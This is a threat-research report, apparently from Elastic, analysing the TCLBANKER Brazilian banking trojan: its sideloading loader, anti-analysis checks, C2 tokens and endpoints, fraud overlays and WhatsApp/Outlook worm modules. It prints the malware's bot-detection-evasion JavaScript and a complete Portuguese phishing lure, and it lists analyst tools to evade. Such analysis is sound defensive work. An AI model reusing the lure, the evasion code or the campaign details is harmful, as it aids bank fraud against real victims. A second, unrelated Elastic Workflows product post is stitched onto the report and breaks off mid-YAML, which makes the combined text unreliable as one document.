TCLBANKER abuses DLL sideloading against LogiAiPromptBuilder.exe, a legitimate Logitech application built on the Flutter framework. The malicious DLL screen_retriever_plugin.dll masquerades as a legitimate Flutter plugin of the same name and is loaded automatically when the host application starts.

After the MSI installation, the malicious DLL is immediately loaded and starts at the DllMain entry point.

Loader

The loader component for TCLBANKER is packed with features, including anti-debugging features, anti-analysis checks, string encryption, system language checks, ETW patching, and a watchdog capability. While it has many features, it lacks depth and has references to older malware analysis tooling. It’s not entirely clear whether the developer used LLM-assisted workflows, but our team wouldn’t be surprised if that were the case.

At the beginning of the execution, TCLBANKER aligns the corresponding .NET assembly payloads based on whether the string (--renderer=sw) is used in the command-line. Within its main loader function, it first performs allow-list/blocklist operations based on how the DLL was loaded. The malicious DLL will only execute if the host process comes from the following two processes:

• logiaipromptbuilder.exe
• tclloader.exe (Possible reference to developer string during testing)

If the DLL was loaded by the following processes, it will refuse to run. These processes are traditionally used by analysts to load and debug DLLs.

• rundll32.exe
• regsvr32.exe
• dllhost.exe
• svchost.exe

Next, TCLBBANKER removes any user-mode hooking by replacing ntdll.dll from disk. For more evasion, the malware generates the following syscall trampolines used later:

• NtQueryInformationProcess
• NtSetInformationThread
• NtSetInformationProcess
• NtTerminateProcess
• NtAllocateVirtualMemory
• NtProtectVirtualMemory

After installing syscall stubs, the malware patches EtwEventWrite in ntdll.dll with the classic xor eax, eax; ret to disable user-mode ETW telemetry.

TCLBANKER performs an initial sandbox check by capturing a start tick using GetTickCount64(), sleeping for 500 ms, and measuring the elapsed time. If fewer than 450 ms have actually passed, the malware bails — this detects sandboxes or emulation frameworks that hook Sleep to return immediately..

One of the more interesting features of TCLBANKER is an enumeration function that generates three fingerprints based on the following criteria:

• Anti-debugging checks
• System disk information and memory checks
• Language checks

The developer uses magic constants assigned to “clean” paths for each category, then performs an XOR against each one to generate the environment hash. This environment hash value is significant because it affects downstream decryption of the embedded payload.

For example, if a debugger is present, it will produce an incorrect hash, so when the malware attempts to derive the decryption keys from the hash, the payload will not decrypt correctly, and TCLBANKER will stop executing.

Anti-debugging checks

TCLBANKER implements six different anti-debugging checks:

• Identify the debugger through the Peb->BeingDebugged flag
• Checks heap-tail/heap-free/check-heap flags set when a process is launched under a debugger
• Leverages NtQueryInformationProcess() using ProcessDebugPort
• Uses NtQueryInformationProcess() using ProcessDebugObjectHandle
• Hardware breakpoint detection via the debug registers (DR0-DR3)
• Measures the elapsed time using QueryPerformanceCounter() deltas and RDTSC cycle counts

System information checks

TCLBANKER has the following five different checks based on virtualization, system, and user information:

• Checks for virtualization software using vendor signature

• Verify the root system drive (C:\\) via GetDiskFreeSpaceExW() has at least 64 GB
• Calls GlobalMemoryStatusEx() to verify the system has more than 2 GB of RAM
• Checks for 2 or CPU processors via GetSystemInfo()
• Checks for generic sandbox/malware usernames
  • sandbox, malware, virus, sample, john doe, currentuser

Language checks

For the last environment fingerprint check, TCLBANKER retrieves geographical information of the infected machine using GetUserGeoID(), targeting Brazilian users based on the geographical ID (0x20). A second locale check via GetUserDefaultLCID() also ensures the user's default language is Brazilian Portuguese (pt-BR, LANGID 0x0416).

After these sets of checks, TCLBANKER will either bail out of execution if anything is detected or, if not, produce another anti-debugging check by patching DbgUiRemoteBreakin(). The malware patches its first byte to a ret instruction so that any attempt to remotely break into the process does nothing — the injected thread immediately returns, and the target keeps running, unsuspended.

After this, the malware derives an AES-256 CBC key and IV by using hard-coded constants from the .rdata section along with the environmental hash calculated earlier. TCLBanker uses BCryptDecrypt() to decrypt the embedded payload, then decompresses via RtlDecompressBuffer using the LZNT1 compression algorithm.

Once the respective payload is decrypted, TCLBANKER initializes COM via CoInitializeEx() and uses the CLR hosting APIs to load the .NET runtime in-process. Before launching the payload entry point, TCLBanker creates two new threads: one serves as the watchdog, and the other monitors the watchdog thread as a heartbeat check.

Watchdog

TCLBANKER has a comprehensive watchdog feature that targets various analysis tools, including disassemblers, debuggers, instrumentation products, anti-virus products, and sandbox products. This section will outline the various techniques used by this feature:

• Debugger check via PEB→BeingDebugged
• Watches for hardware breakpoints DR0/DR1/DR2/DR3
• Checks Windows functions (BCryptDecrypt(), BCryptOpenAlgorithmProvider()) for in-line hooks by scanning the first 12 bytes of each function
• Monitors for instrumentation tools and related strings (frida, cydia, user-path injection, hook framework)
• Reviews all kernel named pipes searching for frida or linjector
• Performs process enumeration via CreateToolhelp32Snapshot() targeting the following process names:
  • frida, de4dot, dnspy, megadumper, extremedumper, processhacker, x64dbg, x32dbg, pe-sieve, scylla, Ilspy, dotpeek, netreactorslayer, cheatengine

• Employs Windows title detection via GetWindowTextW() with these titles:
  • x64dbg, x32dbg, ida -, ida pro, ghidra, dnspy, megadumper, extremedumper, processhacker, ollydbg, windbg)_, pe_sieve, scylla
• Identifies analyst tooling based on the following window class names via FindWindowW():
  • IDATopLevelWindow, idaabortwndclass, TIdaWindow, x64dbg, x32dbg, OLLYDBG, WinDbgFrameClass, ProcessHacker, SystemInformer, CheatEngine, HxdClass
• Checks for the following loaded modules
  • dbeng.dll, dbgcore.dll, SbieDll.dll, snxhk.dll, cmdvrt32.dll, cmdvrt64.dll, cuckoomon.dll, pstorec.dll, vmcheck.dll, wpespy.dll
• Targets the following mutexes and events:
  • Ida_trusted_idbs, IDA_COMM_PIPE_, Local\\x64dbg, Local\\x32dbg, Frida, YOURAPPNAMEHERE
• Performs CRC32 integrity check on the .text section to prevent any tampering

Banking Trojan Module

Tcl.Agent is a banking trojan, the main component of the chain. It is .NET Reactor-protected, and although we failed to deobfuscate it using available open-source tooling such as de4dot and NETReactorSlayer, we managed to statically deobfuscate this stage up to a satisfiable state using a custom deobfuscation pipeline to tackle .NET Reactor’s string encryption, control flow flattening, IL mutation, delegate proxies, and encrypted method bodies (Necrobit). Although it is a new malware, much of the code structure still follows ESET’s LATAM banking trojan implementation blueprint, published in 2020.

At start, the malware performs geofencing, requiring >= 2 of the following indicators to match Brazil; otherwise, it exits immediately if not on a Brazilian machine:

Installation and Persistence

On the first run, the malware copies the entire application directory into %LocalAppData%\LogiAI. It computes a SHA-256 hash over all .dll and .exe files in the source directory and writes it to a .version marker file. On subsequent runs, it compares hashes to skip redundant copies. After copying, it launches the new instance from the install path and exits.

It creates a scheduled task named RuntimeOptimizeService using COM interop with the Task Scheduler (CLSID 0F87369F-A4E5-4CFC-BD3E-73E6154572DD). The task is configured as hidden, enabled, with no execution time limit, allowed on battery, start-when-available, and fires on a logon trigger (type 9) scoped to the current user. It registers with TASK_CREATE_OR_UPDATE and TASK_LOGON_SERVICE_ACCOUNT.

After persistence is established, the agent sends a first-run POST beacon to https://campanha1-api.ef971a42.workers[.]dev/api/installs with the agentId (MachineName-UserName), MachineName, UserName (redundant), and the OS version. The request is authenticated with a hardcoded campaign authentication token 0d21613a-2609-45fc-83ff-d0feaa0c891f. The newer variant adds debug logging around this call (C:\temp\tcl-debug.txt), a developer artifact that inadvertently exposes agent presence on disk.

Self-Update

The agent implements a hash-based self-update gate that runs early in the startup pipeline. It reads a local version hash from flutter_engine.cfg in its install directory (migrating from a legacy version.hash filename if present), then fetches the current hash from the file server endpoint documents.ef971a42.workers[.]dev/api/version using a truncated User-Agent string (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36.

The response is parsed for the "hash" key. If the remote hash matches the local hash, execution continues normally. On first install, the remote hash is written to disk, and execution proceeds without updating.

When a hash mismatch is detected, the agent downloads the update payload from documents.ef971a42.workers[.]dev/api/update as an MSI to %TEMP%\update_{8hexchars}.msi, authenticated with Bearer token b7ba9e80-0d04-4d9e-b217-c8b3cce335a2.

The download is validated against a 100KB minimum size as a sanity check. The agent then writes a self-deleting batch script to %TEMP% that polls the tasklist until the current process exits, executes msiexec /i /qn REINSTALLMODE=amus for silent installation, and deletes itself. The batch file is launched via a hidden cmd.exe process before the agent terminates, handing off execution to the updated payload.

Browser URL Monitor and C2 Session Initialization

Every second, the malware agent calls a browser URL monitor function that reads the foreground browser's address bar via UI Automation. It calls GetForegroundWindow, resolves the owning process, checks the process name against Chrome, Firefox, Microsoft Edge, Brave, Opera, and Vivaldi, then uses AutomationElement.FromHandle -> FindFirst(Descendants, ControlType.Edit) -> ValuePattern.Current.Value to extract the URL, similar to this Stack Overflow implementation.

The extracted URL is matched against a fixed list of targeted banks embedded in the binary, encoded via XOR with a 16-byte key and base64 encoding.

This GitHub Gist contains a list of 59 targeted domains, including Brazilian banking, fintech platforms, and cryptocurrency exchanges, grouped by the target IDs appended to each decrypted domain.

When a match hits, the domain target ID is passed to the next state, which initializes the official C2 communication by establishing a WebSocket connection to wss://mxtestacionamentos[.]com/ws. The OnConnect handler fires, sending a registration packet containing the agent ID (a random GUID at runtime), MachineName, UserName, machine info, timestamp, domain target ID (so the C2 knows which website the victim opened), and a signature.

To produce a handshake signature, HMAC-SHA256 is used to sign the victim identifier (agent ID, MachineName, UserName, OSVersion, timestamp) using the campaign GUID 70e4f943-e323-4484-97d7-35401bf6812c as the key.

The server then responds with a registration acknowledgment, officially starting the session, and enters the command dispatch loop. At session start, a Task Manager killer is fired every 500ms to prevent the victim from inspecting or terminating the agent's process.

C2 Command Table

A capability summarization is described through the opcode table below:

Social Engineering UI Framework

A more interesting capability of the banking trojan is a WPF-based full-screen overlay subsystem that orchestrates bank-themed fraud flows during active C2 sessions.

Overlay Lifecycle

The overlay manager spawns one full-screen WPF window per monitor. Windows are configured as borderless, topmost, and hidden from the taskbar (WindowStyle.None, Topmost = true, ShowInTaskbar = false), with a custom Closing handle that refuses dismissal until an internal flag is flipped by the operator through the overlay teardown command, preventing the windows from being closed.

At startup, the manager captures a PNG screenshot of every display via CopyFromScreen as the overlay backdrop, creating a “frozen desktop” look. Depending on the currently active overlay, the victim perceives their real desktop environment behind it.

A 500ms timer continuously reapplies HWND_TOPMOST via SetWindowPos to defeat any window attempting to surface above the overlay.

In addition, an anti-capture feature calls SetWindowDisplayAffinity with WDA_EXCLUDEFROMCAPTURE, rendering the overlay invisible to any screen-capturing tools, allowing the operator to see through their own overlay through the screenshot and screenstreaming commands.

Input Blocker

On the primary monitor, two hooks are installed: WH_KEYBOARD_LL and WH_MOUSE_LL. Both hooks check their respective injected flags (LLKHF_INJECTED for keyboard, LLMHF_INJECTED for mouse), allowing input injected via SendInput by the operator’s remote commands to pass through untouched. The keyboard hook swallows Tab, Escape, Alt+F4, Win keys, PrintScreen, Ctrl, Alt, and all navigation keys; the mouse hook blocks right-click, middle-click, and scroll, but allows left-click and movement, so the victim can still interact with the overlay prompts.

Social Engineering UI Builders

Five interchangeable content renderers plug into the overlay framework:

Credential Prompt: Supports three input modes, selected based on the operator's request parameters.

• Phone mode applies real-time Brazilian format masking ((##) ####-#### for 10-digit landlines, (##) #####-#### for 11-digit mobiles) with max 11 digits.
• Virtual keypad mode renders an on-screen numeric keypad (buttons 0–9 plus "limpar"/clear), displaying input as bullet characters to mimic PIN entry.
• Default mode accepts plain text with a configurable max length.

All modes run input through a quality validator that algorithmically rejects same-digit sequences (000000) and ascending/descending runs (123456, 654321) to prevent victims from entering throwaway values.

The submit action fires the captured values to the C2.

Vishing Wait Screen: Triggers after the victim submits their phone number in the credential prompt. Displays "Estamos entrando em contato" ("We are getting in touch") with a central image “breathing” animation and three dots with staggered opacity animations (300ms offset per dot) producing a "connecting" visual. The operator or an accomplice can then call the victim's real phone, impersonating bank security staff.

Progress Steps: A fully operator-templated stall screen displaying a list of fake processing steps with a randomized animation. Step durations are randomized to total approximately 15 minutes. A timer advances through each step sequentially, visually marking completed steps, highlighting the current one, and dimming the remaining ones. When all steps are complete, the sequence resets to an earlier position with new randomized timings and continues.

Fake Windows Update: An alternative stall screen mimicking the Windows 10/11 update-restart screen. Renders a solid #0078D7 (Windows accent blue) background with a five-ellipse spinning indicator arranged in a circle. A percentage readout jumps by a random 25–35% at randomly selected 50–81-second intervals to mimic the irregular progress behavior of real Windows Updates. Default subtitle: "Trabalhando em atualizacoes" ("Working on updates").

Cutout Overlay: Cuts a rectangular hole in the full-screen overlay, exposing the underlying application window. The operator specifies hole dimensions via opcode 87, in which the overlay manager builds a themed card with a transparent-border placeholder, computes its screen coordinates post-layout, and cuts a matching region hole using CreateRectRgn + CombineRgn(RGN_DIFF) + SetWindowRgn. The target window is repositioned underneath the hole. The result is a real application window framed within the overlay, and the victim interacts with the actual application while the surrounding overlay provides deceptive context.

Worm module

The second module invoked by the loader is Tcl.WppBot, is designed to propagate spam and phishing messages at scale, to distribute TCLBANKER. Two distinct agent types were recovered from two different loaders and analyzed:

• A WhatsApp worm that hijacks browser sessions
• An Outlook email bot that abuses Microsoft Outlook through COM interop

Tcl.WppBot is also .NET Reactor-protected with the same version used to protect Tcl.Agent, and so we also managed to statically deobfuscate payloads in this stage.

Both agents share the same C2 backend, authentication credentials, and operational infrastructure. The C2 URL and API key are decrypted at startup using XOR decryption with a hardcoded key.

• C2 URL: campanha1-api.ef971a42.workers[.]dev (Cloudflare Workers app)
• API key / Bearer token: 0d21613a-2609-45fc-83ff-d0feaa0c891f

The C2 serves a single superset campaign configuration object via the https://campanha1-api.ef971a42.workers[.]dev/api/campaign endpoint. Each agent variant deserializes the full object but only reads the fields relevant to its channel.

Captured configuration:

message            : Ola tudo bem?
                     Preciso de um orçamento, estarei encaminhado caso tenha os produtos por favor me retorne para
                     darmos continuidade no atendimento.

                     https://arquivos-omie[.]com 👈

                     âšï¸*IMPORTANTE*: Este orçamento foi otimizado para visualização em Computadores Desktop,
                     pois o mesmo necessita de visualizador de excel, word ou pdf.
fileUrl            : https://documents.ef971a42.workers[.]dev/file
delayMin           : 1
delayMax           : 3
maxPerSession      : 3000
updatedAt          : 2026-04-17T15:54:07.003Z
type               : gmail
subject            : Prezado(a), NFe disponível para impressão
emailMessage       : <!DOCTYPE html>
                     <html lang="pt-BR">
                     <head>
                         <meta charset="UTF-8">
                         <title>Nota Fiscal Disponível</title>
                         <style>
                             body {
                                 font-family: Arial, sans-serif;
                                 margin: 20px;
                                 padding: 0;
                                 text-align: center;
                                 background-color: #f4f4f4; /* Cor de fundo mais clara */
                                 color: #333; /* Cor do texto ajustada para ser visível */
                             }
                             h1 {
                                 font-size: 24px;
                                 margin-bottom: 20px;
                                 font-weight: normal; /* Título sem negrito */
                             }
                             p {
                                 font-size: 16px;
                                 margin-bottom: 20px;
                                 line-height: 1.6;
                                 color: #333; /* Garantir que o texto esteja visível */
                             }
                             .btn {
                                 background-color: #007BFF;
                                 color: #fff;
                                 padding: 10px 20px;
                                 border: none;
                                 border-radius: 5px;
                                 cursor: pointer;
                             }
                             .btn:hover {
                                 background-color: #0056b3;
                             }
                         </style>
                     </head>
                     <body>

                         <h1>Prezado(a)</h1>
                         <p>
                             Sua Nota Fiscal Eletrônica (NFe) está disponível e pronta para ser acessada.
                             Para facilitar, basta clicar no botão abaixo para abrir o documento.
                         </p>

                         <p>
                             Caso tenha alguma dúvida sobre os detalhes da nota ou precise de alguma alteração, por
                     favor, entre em contato conosco.
                         </p>

                         <a href="https://arquivos-omie[.]com" target="_blank">
                             <button class="btn">Abrir Nota Fiscal</button>
                         </a>

                         <p>
                             Agradecemos pela confiança e ficamos à disposição para qualquer outra necessidade.
                         </p>

                     </body>
                     </html>
emailDelayMin      : 30
emailDelayMax      : 90
emailMaxPerSession : 100

The same Cloudflare account ef971a42 also hosts the payload delivery CDN (domain for fileUrl in the configuration object) at documents.ef971a42.workers[.]dev. Accessible through the /file endpoint, it currently serves a zip file containing the TCLBANKER-trojanized LogiAI Prompt Builder MSI. This infrastructure decision allows the operator to rapidly redeploy infrastructure without maintaining dedicated servers.

As of the time of writing, the phishing domain arquivos-omie[.]com identified in the configuration above, created on 2026-04-15, is not at an operable state (Welcome! This portal is currently undergoing scheduled maintenance. Please try again later.) The campaign could be in its early operational stages or staged for tasking. This domain is also named to impersonate a popular Brazilian Enterprise Resource Planning (ERP) suite.

Agent 1: WhatsApp Bot

The WhatsApp agent silently takes over the victim’s authenticated WhatsApp Web session to send spam messages and distribute TCLBANKER to Brazilian contacts.

Session Hijacking

The malware starts by discovering Chromium-based browsers on the target system, then scanning both the App Paths registry entries and common installation directories for Chrome, Edge, Brave, Opera, and Vivaldi. It then walks each browser's user profiles (e.g., "Default," "Profile 1," etc.), looking for evidence of an active WhatsApp Web session. A profile is flagged as having an authenticated session if its IndexedDB storage contains the WhatsApp Web LevelDB directory at <profile_dir>/IndexedDB/https_web.whatsapp[.]com_0.indexeddb.leveldb/.

Then each profile is sent to the profile-cloning and session-hijacking function.

For each qualifying profile, the malware clones it to a temporary directory at %TEMP%\<GUID>\, copying only the files needed to resume the WhatsApp Web session: IndexedDB, Local Storage, Session Storage, databases, Web Data, Login Data, and Cookies. It then launches a headless Chromium instance via Selenium WebDriver, with --user-data-dir pointing at the cloned profile.

The matching chromedriver.exe is resolved at runtime by a disguised Selenium Manager binary dropped at %TEMP%\msvc-rt14\bin\hostfxr.exe, which is invoked with --browser chrome --output json and returns the path of a chromedriver compatible with the victim's installed Chrome version.

Immediately after launch, the malware injects JavaScript to bypass bot-detection frameworks by hiding navigator.webdriver, populates chrome.runtime, reconciles the Notification.permission / permissions.query state mismatch, fakes a non-empty navigator.plugins array, and sets navigator.languages to ['pt-BR', 'pt', 'en-US', 'en'] to match the target demographic.

Object.defineProperty(navigator, 'webdriver', {
    get: () = > undefined 
}

);
delete navigator.__proto__.webdriver;
if (window.chrome)  {
    window.chrome.runtime = window.chrome.runtime || {};
}

const origQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (p) = > (
p.name ==  = 'notifications' ?
Promise.resolve( {
    state: Notification.permission 
}

) :
origQuery(p)
);
Object.defineProperty(navigator, 'plugins', {
    get: () = > [1, 2, 3, 4, 5], }

);
Object.defineProperty(navigator, 'languages', {
    get: () = > ['pt-BR', 'pt', 'en-US', 'en'], }

);
window.navigator.chrome = {
    runtime: {}

};

With the cloned profile loaded, the browser navigates to web.whatsapp[.]com, and the malware waits up to 45 seconds to observe the resulting page state. If the chat interface appears (the cloned IndexedDB was valid and the session resumed without a QR scan), it injects an embedded WA-JS (WPPConnect) library and waits for WPP.contact.list and WPP.chat.sendTextMessage to become callable before starting the campaign dispatch loop. If the QR code prompt is shown instead, the engine returns "qr_code" without attempting injection, then tries the next candidate profile.

Spam Functionality

Once the injection succeeds, the malware retrieves the active campaign from the C2 endpoint https://campanha1-api.ef971a42.workers[.]dev/api/campaign, which supplies the message body, optional attachment URL, caption, and timing parameters. TCLBANKER is then downloaded from the file server at https://documents.ef971a42.workers[.]dev/file and reconstructed in the browser context as a File object, without being dropped to disk.

The malware then calls WPP.contact.list to harvest the victim's address book, filters out groups, broadcasts, and non-Brazilian numbers, and begins dispatching messages through WPP.chat.sendTextMessage and sendFileMessage. The malware reports progress to the C2 endpoint /api/progress after each batch, and polls /api/control for remote pause or resend commands from the operator.

Agent 2: Outlook Email Bot

The Outlook agent is an email spambot that abuses the victim’s installed Microsoft Outlook application to send phishing emails from the victim’s email address, making them harder to detect as spam than emails sent from attacker-controlled infrastructure.

Outlook Discovery & COM Attachment

If OUTLOOK.EXE is not already running, it attempts to locate the installation in App Paths registry entries and known installation directories and launches it in a new process. The malware then attaches to the process via COM interop: Marshal.GetActiveObject("Outlook.Application"), and validates that it has at least one email account configured.

Contact Harvesting

The malware then drops a PowerShell script, %TEMP%\oc<guid>.ps1, that harvests contacts via Outlook COM from a separate process. It harvests contacts from two sources: first, it reads the default Contacts folder for all contact entries, extracting email addresses and full names from each contact item. Second, it iterates every store’s root folders to find inbox-like folders, sorts inbox messages by latest, and extracts sender email addresses and names before writing them to a .txt file in email|name format.

For each candidate email, additional filtering is done to maximize deliverability.

Spam Functionality

Similar to the WhatsApp bot, the malware retrieves the active campaign from https://campanha1-api.ef971a42.workers[.]dev/api/campaign, then sends emails through the victim's own Outlook accounts via COM automation. Each email is constructed via outlookApp.CreateItem(0) (MailItem) with the recipient in To, the campaign subject line, and the campaign content emailMessage, sent using the victim's actual account via SendUsingAccount.

Between sends, the agent applies a randomized delay and periodically checks the C2 control endpoint /api/control for pause or resend commands, and reports progress to /api/progress.

Infrastructure

The REF3076 actors have leveraged the worker[.]dev Cloudflare Serverless infrastructure for C2 and file hosting. This decision allows them to inherit any trust victims might already have in Cloudflare and to rotate infrastructure quickly as needed.

Pivoting on the body-hash (91fafaa1240676afe5c55d931261e3798797c408) of the phishing site above (arquivos-omie[.]com), we were able to identify additional domains that are likely being prepared for weaponization:

More Brazilian phishing infrastructure was discovered after a broader pivot in the banner title (Portal Corporativo), but it’s unclear whether it was directly related to REF3076 or to other actors in the Latin American banking trojan ecosystem. Notably, one cluster leveraged the Cloudflare pages[.]dev free static-site hosting product.

The C2 domain mxtestacionamentos[.]com previously pointed to a Brazilian-hosted IP 191.96.224[.]96.

Last year, this IP concurrently hosted a REF3076 C2 domain, a REF3076 phishing domain, and a domain previously associated with the Water Saci campaign and SORVEPOTEL/MAVERICK malware by TrendMicro (saogeraldoshiping[.]com).

Conclusion

TCLBANKER reflects a broader maturation happening across the Brazilian banking trojan ecosystem. Techniques that were once the hallmark of more sophisticated threat actors: environment-gated payload decryption, direct syscall generation, real-time social engineering orchestration over WebSocket, are now being packaged into commodity crimeware. The barrier to entry continues to drop, especially when powerful LLMs are readily accessible for code generation.

The inclusion of self-propagating worm modules marks a notable shift in this space. The campaign inherits the trust and deliverability of legitimate communications by hijacking victims' WhatsApp sessions and Outlook accounts. This is a distribution model that traditional email gateways and reputation-based defenses are ill-equipped to catch. As Latin American banking trojans continue to adopt these self-spreading mechanisms, organizations should expect the volume and reach of these campaigns to scale accordingly.

Developer artifacts throughout the chain, including debug logging paths, test process names, and a phishing site still under construction, suggest REF3076 is in its early operational stages. This is a campaign still being built out, not wound down.

REF3076 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration
• Impact

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing: Spearphishing Attachment
• System Binary Proxy Execution: Msiexec
• Hijack Execution Flow: DLL Side-Loading
• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: Windows Command Shell
• Scheduled Task/Job: Scheduled Task
• Deobfuscate/Decode Files or Information
• Obfuscated Files or Information
• Debugger Evasion
• Virtualization/Sandbox Evasion: System Checks
• Virtualization/Sandbox Evasion: Time Based Evasion
• Impair Defenses: Disable or Modify Tools
• Native API
• Process Injection
• Process Discovery
• Application Window Discovery
• System Information Discovery
• System Location Discovery: System Language Discovery
• Screen Capture
• Input Capture: Keylogging
• Clipboard Data
• Input Capture: Web Portal Capture
• Browser Session Hijacking
• Application Layer Protocol: Web Protocols
• Web Service
• Ingress Tool Transfer
• Email Collection: Local Email Collection
• System Shutdown/Reboot

Remediating REF3076

Prevention

• NTDLL Memory Protection Change via Unsigned DLL
• NTDLL library loaded for a second time
• Potential NTDLL Memory Unhooking
• Parallel NTDLL Loaded from Unbacked Memory
• Suspicious Windows Core Module Change
• AMSI Bypass via Unbacked Memory
• Potential AMSI Bypass via SetThreadContext

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.TCLBanker

Observations

The following observables were discussed in this research.

The 9.3 Tech Preview introduced the foundation for native automation in Elastic. 9.4 brings it to general availability with production stability and significantly expanded capabilities. Case management gets 25 dedicated automation steps covering the full lifecycle. Human-in-the-loop becomes a first-class Workflow primitive. Natural language authoring moves to Tech Preview. The platform gains more flow-control primitives (while, switch, iteration control), data-transformation steps for working with collections, deeper AI integration with Agent Builder, and broader event-driven triggers. Production-ready automation across Elastic.

Case automation at scale

The biggest addition for security teams is case management. In the Tech Preview, working with cases involved four generic steps: creating, retrieving, updating, and commenting. Anything beyond that required raw API calls.

Now there are 25 dedicated cases.* steps covering the full lifecycle: create, find, find similar, update, close, assign, unassign, add alerts, add observables, add comments, add tags, set severity, set status, and more. Each step is typed, validated, and appears in the YAML editor's autocomplete, which means natural-language authoring can generate them accurately, too.

Here's what a realistic triage workflow looks like. An alert fires. The Workflow checks whether a case already exists for this alert. If not, it creates one, attaches the alert and observables, assigns the on-call analyst, and routes severity based on risk score:

The code below shows an example of a workflow described using YAML:

name: Triage Workflow
enabled: true
triggers:
  - type: alert

steps:
  - name: check_existing
    type: cases.getCasesByAlertId
    with:
      alert_id: "{{ event.alerts[0]._id }}"

  - name: route
    type: if
    condition: "steps.check_existing.output : ''"
    steps:
      - name: update_existing
        type: cases.addComment
        with:
          case_id: "{{ steps.check_existing.output[0].id }}"
          comment: |
            Correlated alert: {{ event.rule.name }}
            Source: {{ event.alerts[0].source.ip | default: "unknown" }}
            Risk score: {{ event.alerts[0].kibana.alert.risk_score }}
    else:
      - name: create_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: "{{ event.rule.name }} - {{ event.alerts[0].host.name }}"
          description: |
            Auto-created from detection rule: {{ event.rule.name }}
            Host: {{ event.alerts[0].host.name }}
            Source IP: {{ event.alerts[0].source.ip | default: "N/A" }}
          severity: high
          tags:
            - auto-triage
            - "{{ event.rule.name }}"

      - name: attach_evidence
        type: cases.addAlerts
        with:
          case_id: "{{steps.create_case.output.case.id}}"
          alerts:
            - alertId: "{{ event.alerts[0]._id }}"
              index: "{{ event.alerts[0]._index }}"

      - name: add_observables
        type: cases.addObservables
        with:
          case_id: "{{steps.create_case.output.case.id}}"
          observables:
            - typeKey: observable-type-ipv4
              value: "{{ event.alerts[0].source.ip }}"
            - typeKey: observable-type-file-hash
              value: "{{ event.alerts[0].file.hash.sha256 }}"
        on-failure:
          continue: true

The Workflow automatically handles deduplication, evidence attachment, observable enrichment, graceful handling of missing fields, and analyst assignment. The analyst opens Kibana and sees a case with all the context already there.

The 25 new cases.* steps include create, find, find similar, update, close, delete, assign, unassign, add/remove alerts, add/remove observables, add/update/delete comments, add/remove tags, set severity, set status, get by ID, get by alert ID, and more for custom fields, user actions, and metrics. Each step is typed and validated. If you're using natural language authoring, the AI can generate them accurately because they're part of the schema.

As Workflows mature, you'll see more domain-specific steps for detection rule management, endpoint response actions, and threat intelligence operations.

Human checkpoints in automated Workflows

Case automation handles the mechanical work, but not every decision should be fully automated. AI can classify an alert and gather context, but the analyst should decide whether to escalate. The question is how much mechanical work happens before they make that call.

waitForInput pauses a Workflow for human judgment. The Workflow runs the investigation, gathers evidence, classifies the alert with AI, and stops. It presents structured findings and waits. The analyst reviews, approves or redirects, and adds notes, and then the Workflow resumes based on their input.

As the following image shows, the automation handles the investigation, but the analyst makes the decision before the automation executes it.

Classifies incoming alerts with AI, pauses for analyst review and approval, and only escalates approved cases by creating a high-severity incident with context from both the model and the analyst.

name: HITL Example
enabled: true
triggers:
  - type: alert

steps:
  - name: classify
    type: ai.classify
    connector-id: Anthropic-Claude-Sonnet-4-6
    with:
      includeRationale: true
      input: ${{ event.alerts[0] }}
      categories:
        - true_positive
        - false_positive
        - needs_investigation

  - name: approval_gate
    type: waitForInput
    with:
      message: |
        Alert: {{ event.rule.name }}
        Classification: {{ steps.classify.output.category }}
        Rationale: {{ steps.classify.output.rationale }}
        Review the classification and approve to escalate.
      schema:
        type: object
        properties:
          approved:
            type: boolean
            title: Approve escalation
          notes:
            type: string
            title: Analyst notes
        required:
          - approved

  - name: escalate
    type: if
    condition: "steps.approval_gate.output.approved : true"
    steps:
      - name: create_escalated_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: "[Escalated] {{ event.rule.name }}"
          description: |
            Escalated by analyst after AI classification.
            Classification: {{ steps.classify.output.category }}
            Notes: {{ steps.approval_gate.output.notes }}
          severity: high
          tags:
            - escalated
            - analyst-reviewed

Today, waitForInput works through the Kibana execution view and the REST API. Slack, Teams, and email delivery channels are coming so analysts can review and approve without switching context. This is especially important for workflows defined as tools in Agent Builder, where agent-driven investigations benefit from human checkpoints before taking action.

Building Workflows from natural language

With the automation patterns in place, the next challenge is making them accessible. We chose YAML as the Workflow language because it's declarative, reviewable, and portable. But it was also a strategic choice: YAML is structured text, and large language models are very good at generating structured text. A well-typed workflow schema is an ideal target for AI-powered authoring. In 9.4, that bet pays off. Natural language authoring is available in Tech Preview.

Inside the Workflow editor, describe what should happen: "When a malware alert fires, check the file hash against VirusTotal, create a high-severity case, attach the alert and observables, and notify the SOC channel." The AI assistant generates the YAML. You review, refine, and deploy.

The YAML is fully inspectable and editable. If you know what should happen but aren't a YAML expert, this gets you from intent to a working workflow. If you are a YAML expert, you can start in natural language and refine in the editor.

The authoring experience will keep evolving. Visual editing is a complementary mode. Authoring that extends into Slack and other tools your team uses. The goal is to meet security teams wherever they work.

Composable Workflows

As your automation library grows, organization becomes critical. Security automation gets complex fast. You start with a single triage workflow, then realize different alert types need different investigation steps. You add conditionals, then more conditionals, and suddenly your workflow is hundreds of lines with nested logic that's hard to follow and harder to change.

workflow.execute lets you build reusable workflows with typed inputs and outputs. Instead of embedding all your investigation logic in one place, you create focused workflows for specific scenarios and compose them together. Update your malware investigation workflow once, and every workflow that calls it benefits. The logic stays organized, changes stay contained, and your automation scales without becoming brittle.

Here's what this looks like in practice. Classify the alert, then route to the specialized workflow based on the threat type:

steps:
  - name: dispatch
    type: switch
    expression: "{{ steps.classify.output.category }}"
    cases:
      - match: malware
        steps:
          - name: run_malware
            type: workflow.execute
            with:
              workflow-id: ${{ consts.malware_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
      - match: phishing
        steps:
          - name: run_phishing
            type: workflow.execute
            with:
              workflow-id: ${{ consts.phishing_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
    default:
